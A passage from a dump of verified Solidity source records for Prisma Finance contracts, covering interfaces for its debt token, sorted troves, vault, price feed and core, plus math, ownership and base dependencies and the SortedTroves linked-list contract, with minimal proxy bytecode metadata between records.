nonblockingLzReceive(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external;\n\n function permit(\n address owner,\n address spender,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function renounceOwnership() external;\n\n function returnFromPool(address _poolAddress, address _receiver, uint256 _amount) external;\n\n function sendToSP(address _sender, uint256 _amount) external;\n\n function setConfig(uint16 _version, uint16 _chainId, uint256 _configType, bytes calldata _config) external;\n\n function setMinDstGas(uint16 _dstChainId, uint16 _packetType, uint256 _minGas) external;\n\n function setPayloadSizeLimit(uint16 _dstChainId, uint256 _size) external;\n\n function setPrecrime(address _precrime) external;\n\n function setReceiveVersion(uint16 _version) external;\n\n function setSendVersion(uint16 _version) external;\n\n function setTrustedRemote(uint16 _srcChainId, bytes calldata _path) external;\n\n function setTrustedRemoteAddress(uint16 _remoteChainId, bytes calldata _remoteAddress) external;\n\n function setUseCustomAdapterParams(bool _useCustomAdapterParams) external;\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function transferOwnership(address newOwner) external;\n\n function retryMessage(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external payable;\n\n function sendFrom(\n address _from,\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n address _refundAddress,\n address _zroPaymentAddress,\n bytes calldata _adapterParams\n ) external payable;\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DEFAULT_PAYLOAD_SIZE_LIMIT() external view returns (uint256);\n\n function FLASH_LOAN_FEE() external view returns (uint256);\n\n function NO_EXTRA_GAS() external view returns (uint256);\n\n function PT_SEND() external view returns (uint16);\n\n function allowance(address owner, address spender) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function circulatingSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function domainSeparator() external view returns (bytes32);\n\n function estimateSendFee(\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n bool _useZro,\n bytes calldata _adapterParams\n ) external view returns (uint256 nativeFee, uint256 zroFee);\n\n function factory() external view returns (address);\n\n function failedMessages(uint16, bytes calldata, uint64) external view returns (bytes32);\n\n function flashFee(address token, uint256 amount) external view returns (uint256);\n\n function gasPool() external view returns (address);\n\n function getConfig(\n uint16 _version,\n uint16 _chainId,\n address,\n uint256 _configType\n ) external view returns (bytes memory);\n\n function getTrustedRemoteAddress(uint16 _remoteChainId) external view returns (bytes memory);\n\n function isTrustedRemote(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool);\n\n function lzEndpoint() external view returns (address);\n\n function maxFlashLoan(address token) external view returns (uint256);\n\n function minDstGasLookup(uint16, uint16) external view returns (uint256);\n\n function name() external view returns (string memory);\n\n function nonces(address owner) external view returns (uint256);\n\n function owner() external view returns (address);\n\n function payloadSizeLimitLookup(uint16) external view returns (uint256);\n\n function permitTypeHash() external view returns (bytes32);\n\n function precrime() external view returns (address);\n\n function stabilityPoolAddress() external view returns (address);\n\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n function symbol() external view returns (string memory);\n\n function token() external view returns (address);\n\n function totalSupply() external view returns (uint256);\n\n function troveManager(address) external view returns (bool);\n\n function trustedRemoteLookup(uint16) external view returns (bytes memory);\n\n function useCustomAdapterParams() external view returns (bool);\n\n function version() external view returns (string memory);\n}\n"
},
"contracts/interfaces/ISortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISortedTroves {\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external;\n\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external;\n\n function remove(address _id) external;\n\n function setAddresses(address _troveManagerAddress) external;\n\n function contains(address _id) external view returns (bool);\n\n function data() external view returns (address head, address tail, uint256 size);\n\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address);\n\n function getFirst() external view returns (address);\n\n function getLast() external view returns (address);\n\n function getNext(address _id) external view returns (address);\n\n function getPrev(address _id) external view returns (address);\n\n function getSize() external view returns (uint256);\n\n function isEmpty() external view returns (bool);\n\n function troveManager() external view returns (address);\n\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool);\n}\n"
},
"contracts/interfaces/IVault.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaVault {\n struct InitialAllowance {\n address receiver;\n uint256 amount;\n }\n\n event BoostCalculatorSet(address boostCalculator);\n event BoostDelegationSet(address indexed boostDelegate, bool isEnabled, uint256 feePct, address callback);\n event EmissionScheduleSet(address emissionScheduler);\n event IncreasedAllocation(address indexed receiver, uint256 increasedAmount);\n event NewReceiverRegistered(address receiver, uint256 id);\n event ReceiverIsActiveStatusModified(uint256 indexed id, bool isActive);\n event UnallocatedSupplyIncreased(uint256 increasedAmount, uint256 unallocatedTotal);\n event UnallocatedSupplyReduced(uint256 reducedAmount, uint256 unallocatedTotal);\n\n function allocateNewEmissions(uint256 id) external returns (uint256);\n\n function batchClaimRewards(\n address receiver,\n address boostDelegate,\n address[] calldata rewardContracts,\n uint256 maxFeePct\n ) external returns (bool);\n\n function increaseUnallocatedSupply(uint256 amount) external returns (bool);\n\n function registerReceiver(address receiver, uint256 count) external returns (bool);\n\n function setBoostCalculator(address _boostCalculator) external returns (bool);\n\n function setBoostDelegationParams(bool isEnabled, uint256 feePct, address callback) external returns (bool);\n\n function setEmissionSchedule(address _emissionSchedule) external returns (bool);\n\n function setInitialParameters(\n address _emissionSchedule,\n address _boostCalculator,\n uint256 totalSupply,\n uint64 initialLockWeeks,\n uint128[] calldata _fixedInitialAmounts,\n InitialAllowance[] calldata initialAllowances\n ) external;\n\n function setReceiverIsActive(uint256 id, bool isActive) external returns (bool);\n\n function transferAllocatedTokens(address claimant, address receiver, uint256 amount) external returns (bool);\n\n function transferTokens(address token, address receiver, uint256 amount) external returns (bool);\n\n function PRISMA_CORE() external view returns (address);\n\n function allocated(address) external view returns (uint256);\n\n function boostCalculator() external view returns (address);\n\n function boostDelegation(address) external view returns (bool isEnabled, uint16 feePct, address callback);\n\n function claimableRewardAfterBoost(\n address account,\n address receiver,\n address boostDelegate,\n address rewardContract\n ) external view returns (uint256 adjustedAmount, uint256 feeToDelegate);\n\n function emissionSchedule() external view returns (address);\n\n function getClaimableWithBoost(address claimant) external view returns (uint256 maxBoosted, uint256 boosted);\n\n function getWeek() external view returns (uint256 week);\n\n function guardian() external view returns (address);\n\n function idToReceiver(uint256) external view returns (address account, bool isActive);\n\n function lockWeeks() external view returns (uint64);\n\n function locker() external view returns (address);\n\n function owner() external view returns (address);\n\n function claimableBoostDelegationFees(address claimant) external view returns (uint256 amount);\n\n function prismaToken() external view returns (address);\n\n function receiverUpdatedWeek(uint256) external view returns (uint16);\n\n function totalUpdateWeek() external view returns (uint64);\n\n function unallocatedTotal() external view returns (uint128);\n\n function voter() external view returns (address);\n\n function weeklyEmissions(uint256) external view returns (uint128);\n}\n"
},
"contracts/interfaces/IPriceFeed.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPriceFeed {\n event NewOracleRegistered(address token, address chainlinkAggregator, bool isEthIndexed);\n event PriceFeedStatusUpdated(address token, address oracle, bool isWorking);\n event PriceRecordUpdated(address indexed token, uint256 _price);\n\n function fetchPrice(address _token) external returns (uint256);\n\n function setOracle(\n address _token,\n address _chainlinkOracle,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool _isEthIndexed\n ) external;\n\n function MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function RESPONSE_TIMEOUT() external view returns (uint256);\n\n function TARGET_DIGITS() external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function oracleRecords(\n address\n )\n external\n view\n returns (\n address chainLinkOracle,\n uint8 decimals,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool isFeedWorking,\n bool isEthIndexed\n );\n\n function owner() external view returns (address);\n\n function priceRecords(\n address\n ) external view returns (uint96 scaledPrice, uint32 timestamp, uint32 lastUpdated, uint80 roundId);\n}\n"
},
"contracts/interfaces/IPrismaCallbacks.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nstruct ReedemedTrove {\n address account;\n uint256 debtLot;\n uint256 collateralLot;\n}\n\ninterface ITroveRedemptionsCallback {\n /**\n * @notice Function called after redemptions are executed in a Trove Manager\n * @dev This functions should be called EXCLUSIVELY by a registered Trove Manger\n * @param redemptions Values related to redeemed troves\n */\n function onRedemptions(ReedemedTrove[] memory redemptions) external returns (bool);\n}\n"
},
"contracts/dependencies/SystemStart.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma System Start Time\n @dev Provides a unified `startTime` and `getWeek`, used for emissions.\n */\ncontract SystemStart {\n uint256 immutable startTime;\n\n constructor(address prismaCore) {\n startTime = IPrismaCore(prismaCore).startTime();\n }\n\n function getWeek() public view returns (uint256 week) {\n return (block.timestamp - startTime) / 1 weeks;\n }\n}\n"
},
"contracts/interfaces/IPrismaCore.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaCore {\n event FeeReceiverSet(address feeReceiver);\n event GuardianSet(address guardian);\n event NewOwnerAccepted(address oldOwner, address owner);\n event NewOwnerCommitted(address owner, address pendingOwner, uint256 deadline);\n event NewOwnerRevoked(address owner, address revokedOwner);\n event Paused();\n event PriceFeedSet(address priceFeed);\n event Unpaused();\n\n function acceptTransferOwnership() external;\n\n function commitTransferOwnership(address newOwner) external;\n\n function revokeTransferOwnership() external;\n\n function setFeeReceiver(address _feeReceiver) external;\n\n function setGuardian(address _guardian) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeed) external;\n\n function OWNERSHIP_TRANSFER_DELAY() external view returns (uint256);\n\n function feeReceiver() external view returns (address);\n\n function guardian() external view returns (address);\n\n function owner() external view returns (address);\n\n function ownershipTransferDeadline() external view returns (uint256);\n\n function paused() external view returns (bool);\n\n function pendingOwner() external view returns (address);\n\n function priceFeed() external view returns (address);\n\n function startTime() external view returns (uint256);\n}\n"
},
"contracts/dependencies/PrismaBase.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\n/*\n * Base contract for TroveManager, BorrowerOperations and StabilityPool. Contains global system constants and\n * common functions.\n */\ncontract PrismaBase {\n uint256 public constant DECIMAL_PRECISION = 1e18;\n\n // Critical system collateral ratio. If the system's total collateral ratio (TCR) falls below the CCR, Recovery Mode is triggered.\n uint256 public constant CCR = 1500000000000000000; // 150%\n\n // Amount of debt to be locked in gas pool on opening troves\n uint256 public immutable DEBT_GAS_COMPENSATION;\n\n uint256 public constant PERCENT_DIVISOR = 200; // dividing by 200 yields 0.5%\n\n constructor(uint256 _gasCompensation) {\n DEBT_GAS_COMPENSATION = _gasCompensation;\n }\n\n // --- Gas compensation functions ---\n\n // Returns the composite debt (drawn debt + gas compensation) of a trove, for the purpose of ICR calculation\n function _getCompositeDebt(uint256 _debt) internal view returns (uint256) {\n return _debt + DEBT_GAS_COMPENSATION;\n }\n\n function _getNetDebt(uint256 _debt) internal view returns (uint256) {\n return _debt - DEBT_GAS_COMPENSATION;\n }\n\n // Return the amount of collateral to be drawn from a trove's collateral and sent as gas compensation.\n function _getCollGasCompensation(uint256 _entireColl) internal pure returns (uint256) {\n return _entireColl / PERCENT_DIVISOR;\n }\n\n function _requireUserAcceptsFee(uint256 _fee, uint256 _amount, uint256 _maxFeePercentage) internal pure {\n uint256 feePercentage = (_fee * DECIMAL_PRECISION) / _amount;\n require(feePercentage <= _maxFeePercentage, \"Fee exceeded provided maximum\");\n }\n}\n"
},
"contracts/dependencies/PrismaMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nlibrary PrismaMath {\n uint256 internal constant DECIMAL_PRECISION = 1e18;\n\n /* Precision for Nominal ICR (independent of price). Rationale for the value:\n *\n * - Making it “too high” could lead to overflows.\n * - Making it “too low” could lead to an ICR equal to zero, due to truncation from Solidity floor division.\n *\n * This value of 1e20 is chosen for safety: the NICR will only overflow for numerator > ~1e39,\n * and will only truncate to 0 if the denominator is at least 1e20 times greater than the numerator.\n *\n */\n uint256 internal constant NICR_PRECISION = 1e20;\n\n function _min(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a < _b) ? _a : _b;\n }\n\n function _max(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a : _b;\n }\n\n /*\n * Multiply two decimal numbers and use normal rounding rules:\n * -round product up if 19'th mantissa digit >= 5\n * -round product down if 19'th mantissa digit < 5\n *\n * Used only inside the exponentiation, _decPow().\n */\n function decMul(uint256 x, uint256 y) internal pure returns (uint256 decProd) {\n uint256 prod_xy = x * y;\n\n decProd = (prod_xy + (DECIMAL_PRECISION / 2)) / DECIMAL_PRECISION;\n }\n\n /*\n * _decPow: Exponentiation function for 18-digit decimal base, and integer exponent n.\n *\n * Uses the efficient \"exponentiation by squaring\" algorithm. O(log(n)) complexity.\n *\n * Called by two functions that represent time in units of minutes:\n * 1) TroveManager._calcDecayedBaseRate\n * 2) CommunityIssuance._getCumulativeIssuanceFraction\n *\n * The exponent is capped to avoid reverting due to overflow. The cap 525600000 equals\n * \"minutes in 1000 years\": 60 * 24 * 365 * 1000\n *\n * If a period of > 1000 years is ever used as an exponent in either of the above functions, the result will be\n * negligibly different from just passing the cap, since:\n *\n * In function 1), the decayed base rate will be 0 for 1000 years or > 1000 years\n * In function 2), the difference in tokens issued at 1000 years and any time > 1000 years, will be negligible\n */\n function _decPow(uint256 _base, uint256 _minutes) internal pure returns (uint256) {\n if (_minutes > 525600000) {\n _minutes = 525600000;\n } // cap to avoid overflow\n\n if (_minutes == 0) {\n return DECIMAL_PRECISION;\n }\n\n uint256 y = DECIMAL_PRECISION;\n uint256 x = _base;\n uint256 n = _minutes;\n\n // Exponentiation-by-squaring\n while (n > 1) {\n if (n % 2 == 0) {\n x = decMul(x, x);\n n = n / 2;\n } else {\n // if (n % 2 != 0)\n y = decMul(x, y);\n x = decMul(x, x);\n n = (n - 1) / 2;\n }\n }\n\n return decMul(x, y);\n }\n\n function _getAbsoluteDifference(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a - _b : _b - _a;\n }\n\n function _computeNominalCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n return (_coll * NICR_PRECISION) / _debt;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt, uint256 _price) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll * _price) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n}\n"
},
"contracts/dependencies/PrismaOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma Ownable\n @notice Contracts inheriting `PrismaOwnable` have the same owner as `PrismaCore`.\n The ownership cannot be independently modified or renounced.\n */\ncontract PrismaOwnable {\n IPrismaCore public immutable PRISMA_CORE;\n\n constructor(address _prismaCore) {\n PRISMA_CORE = IPrismaCore(_prismaCore);\n }\n\n modifier onlyOwner() {\n require(msg.sender == PRISMA_CORE.owner(), \"Only owner\");\n _;\n }\n\n function owner() public view returns (address) {\n return PRISMA_CORE.owner();\n }\n\n function guardian() public view returns (address) {\n return PRISMA_CORE.guardian();\n }\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"runs": 200
},
"libraries": {
"TroveManager.sol": {}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
db2222735e926f3a18d7d1d0cfeef095a66aea2a
|
a8d9389e1a5588f5115dc9163abfa648e5173a7a
|
3d602d80600a3d3981f3363d3d373d3d3d363d735c454338173b399bb9cd5c0259d0d242a71a14645af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735c454338173b399bb9cd5c0259d0d242a71a14645af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/core/SortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/ITroveManager.sol\";\n\n/**\n @title Prisma Sorted Troves\n @notice Based on Liquity's `SortedTroves`:\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/SortedTroves.sol\n\n Originally derived from `SortedDoublyLinkedList`:\n https://github.com/livepeer/protocol/blob/master/contracts/libraries/SortedDoublyLL.sol\n */\ncontract SortedTroves {\n ITroveManager public troveManager;\n\n Data public data;\n\n // Information for a node in the list\n struct Node {\n bool exists;\n address nextId; // Id of next node (smaller NICR) in the list\n address prevId; // Id of previous node (larger NICR) in the list\n }\n\n // Information for the list\n struct Data {\n address head; // Head of the list. Also the node in the list with the largest NICR\n address tail; // Tail of the list. Also the node in the list with the smallest NICR\n uint256 size; // Current size of the list\n mapping(address => Node) nodes; // Track the corresponding ids for each node in the list\n }\n\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function setAddresses(address _troveManagerAddress) external {\n require(address(troveManager) == address(0), \"Already set\");\n troveManager = ITroveManager(_troveManagerAddress);\n }\n\n /*\n * @dev Add a node to the list\n * @param _id Node's id\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n // List must not already contain node\n require(!node.exists, \"SortedTroves: List already contains the node\");\n // Node id must not be null\n require(_id != address(0), \"SortedTroves: Id cannot be zero\");\n\n _insert(node, troveManagerCached, _id, _NICR, _prevId, _nextId);\n }\n\n function _insert(\n Node storage node,\n ITroveManager _troveManager,\n address _id,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal {\n // NICR must be non-zero\n require(_NICR > 0, \"SortedTroves: NICR must be positive\");\n\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (!_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n // Sender's hint was not a valid insert position\n // Use sender's hint to find a valid insert position\n (prevId, nextId) = _findInsertPosition(_troveManager, _NICR, prevId, nextId);\n }\n\n node.exists = true;\n\n if (prevId == address(0) && nextId == address(0)) {\n // Insert as head and tail\n data.head = _id;\n data.tail = _id;\n } else if (prevId == address(0)) {\n // Insert before `prevId` as the head\n address head = data.head;\n node.nextId = head;\n data.nodes[head].prevId = _id;\n data.head = _id;\n } else if (nextId == address(0)) {\n // Insert after `nextId` as the tail\n address tail = data.tail;\n node.prevId = tail;\n data.nodes[tail].nextId = _id;\n data.tail = _id;\n } else {\n // Insert at insert position between `prevId` and `nextId`\n node.nextId = nextId;\n node.prevId = prevId;\n data.nodes[prevId].nextId = _id;\n data.nodes[nextId].prevId = _id;\n }\n\n data.size = data.size + 1;\n emit NodeAdded(_id, _NICR);\n }\n\n function remove(address _id) external {\n _requireCallerIsTroveManager(troveManager);\n _remove(data.nodes[_id], _id);\n }\n\n /*\n * @dev Remove a node from the list\n * @param _id Node's id\n */\n function _remove(Node storage node, address _id) internal {\n // List must contain the node\n require(node.exists, \"SortedTroves: List does not contain the id\");\n\n if (data.size > 1) {\n // List contains more than a single node\n if (_id == data.head) {\n // The removed node is the head\n // Set head to next node\n address head = node.nextId;\n data.head = head;\n // Set prev pointer of new head to null\n data.nodes[head].prevId = address(0);\n } else if (_id == data.tail) {\n address tail = node.prevId;\n // The removed node is the tail\n // Set tail to previous node\n data.tail = tail;\n // Set next pointer of new tail to null\n data.nodes[tail].nextId = address(0);\n } else {\n address prevId = node.prevId;\n address nextId = node.nextId;\n // The removed node is neither the head nor the tail\n // Set next pointer of previous node to the next node\n data.nodes[prevId].nextId = nextId;\n // Set prev pointer of next node to the previous node\n data.nodes[nextId].prevId = prevId;\n }\n } else {\n // List contains a single node\n // Set the head and tail to null\n data.head = address(0);\n data.tail = address(0);\n }\n\n delete data.nodes[_id];\n data.size = data.size - 1;\n emit NodeRemoved(_id);\n }\n\n /*\n * @dev Re-insert the node at a new position, based on its new NICR\n * @param _id Node's id\n * @param _newNICR Node's new NICR\n * @param _prevId Id of previous node for the new insert position\n * @param _nextId Id of next node for the new insert position\n */\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n\n // Remove node from the list\n _remove(node, _id);\n\n _insert(node, troveManagerCached, _id, _newNICR, _prevId, _nextId);\n }\n\n /*\n * @dev Checks if the list contains a node\n */\n function contains(address _id) public view returns (bool) {\n return data.nodes[_id].exists;\n }\n\n /*\n * @dev Checks if the list is empty\n */\n function isEmpty() public view returns (bool) {\n return data.size == 0;\n }\n\n /*\n * @dev Returns the current size of the list\n */\n function getSize() external view returns (uint256) {\n return data.size;\n }\n\n /*\n * @dev Returns the first node in the list (node with the largest NICR)\n */\n function getFirst() external view returns (address) {\n return data.head;\n }\n\n /*\n * @dev Returns the last node in the list (node with the smallest NICR)\n */\n function getLast() external view returns (address) {\n return data.tail;\n }\n\n /*\n * @dev Returns the next node (with a smaller NICR) in the list for a given node\n * @param _id Node's id\n */\n function getNext(address _id) external view returns (address) {\n return data.nodes[_id].nextId;\n }\n\n /*\n * @dev Returns the previous node (with a larger NICR) in the list for a given node\n * @param _id Node's id\n */\n function getPrev(address _id) external view returns (address) {\n return data.nodes[_id].prevId;\n }\n\n /*\n * @dev Check if a pair of nodes is a valid insertion point for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool) {\n return _validInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _validInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (bool) {\n if (_prevId == address(0) && _nextId == address(0)) {\n // `(null, null)` is a valid insert position if the list is empty\n return isEmpty();\n } else if (_prevId == address(0)) {\n // `(null, _nextId)` is a valid insert position if `_nextId` is the head of the list\n return data.head == _nextId && _NICR >= _troveManager.getNominalICR(_nextId);\n } else if (_nextId == address(0)) {\n // `(_prevId, null)` is a valid insert position if `_prevId` is the tail of the list\n return data.tail == _prevId && _NICR <= _troveManager.getNominalICR(_prevId);\n } else {\n // `(_prevId, _nextId)` is a valid insert position if they are adjacent nodes and `_NICR` falls between the two nodes' NICRs\n return\n data.nodes[_prevId].nextId == _nextId &&\n _troveManager.getNominalICR(_prevId) >= _NICR &&\n _NICR >= _troveManager.getNominalICR(_nextId);\n }\n }\n\n /*\n * @dev Descend the list (larger NICRs to smaller NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start descending the list from\n */\n function _descendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the head, check if the insert position is before the head\n if (data.head == _startId && _NICR >= _troveManager.getNominalICR(_startId)) {\n return (address(0), _startId);\n }\n\n address prevId = _startId;\n address nextId = data.nodes[prevId].nextId;\n\n // Descend the list until we reach the end or until we find a valid insert position\n while (prevId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n prevId = data.nodes[prevId].nextId;\n nextId = data.nodes[prevId].nextId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Ascend the list (smaller NICRs to larger NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start ascending the list from\n */\n function _ascendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the tail, check if the insert position is after the tail\n if (data.tail == _startId && _NICR <= _troveManager.getNominalICR(_startId)) {\n return (_startId, address(0));\n }\n\n address nextId = _startId;\n address prevId = data.nodes[nextId].prevId;\n\n // Ascend the list until we reach the end or until we find a valid insertion point\n while (nextId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n nextId = data.nodes[nextId].prevId;\n prevId = data.nodes[nextId].prevId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Find the insert position for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address) {\n return _findInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _findInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (address, address) {\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (prevId != address(0)) {\n if (!contains(prevId) || _NICR > _troveManager.getNominalICR(prevId)) {\n // `prevId` does not exist anymore or now has a smaller NICR than the given NICR\n prevId = address(0);\n }\n }\n\n if (nextId != address(0)) {\n if (!contains(nextId) || _NICR < _troveManager.getNominalICR(nextId)) {\n // `nextId` does not exist anymore or now has a larger NICR than the given NICR\n nextId = address(0);\n }\n }\n\n if (prevId == address(0) && nextId == address(0)) {\n // No hint - descend list starting from head\n return _descendList(_troveManager, _NICR, data.head);\n } else if (prevId == address(0)) {\n // No `prevId` for hint - ascend list starting from `nextId`\n return _ascendList(_troveManager, _NICR, nextId);\n } else if (nextId == address(0)) {\n // No `nextId` for hint - descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n } else {\n // Descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n }\n }\n\n function _requireCallerIsTroveManager(ITroveManager _troveManager) internal view {\n require(msg.sender == address(_troveManager), \"SortedTroves: Caller is not the TroveManager\");\n }\n}\n"
},
"contracts/interfaces/ITroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITroveManager {\n event BaseRateUpdated(uint256 _baseRate);\n event CollateralSent(address _to, uint256 _amount);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 _stake, uint8 _operation);\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external;\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt);\n\n function claimCollateral(address _receiver) external;\n\n function claimReward(address receiver) external returns (uint256);\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external;\n\n function closeTroveByLiquidation(address _borrower) external;\n\n function collectInterests() external;\n\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256);\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external;\n\n function fetchPrice() external returns (uint256);\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external;\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256);\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external;\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool);\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external returns (uint256 stake, uint256 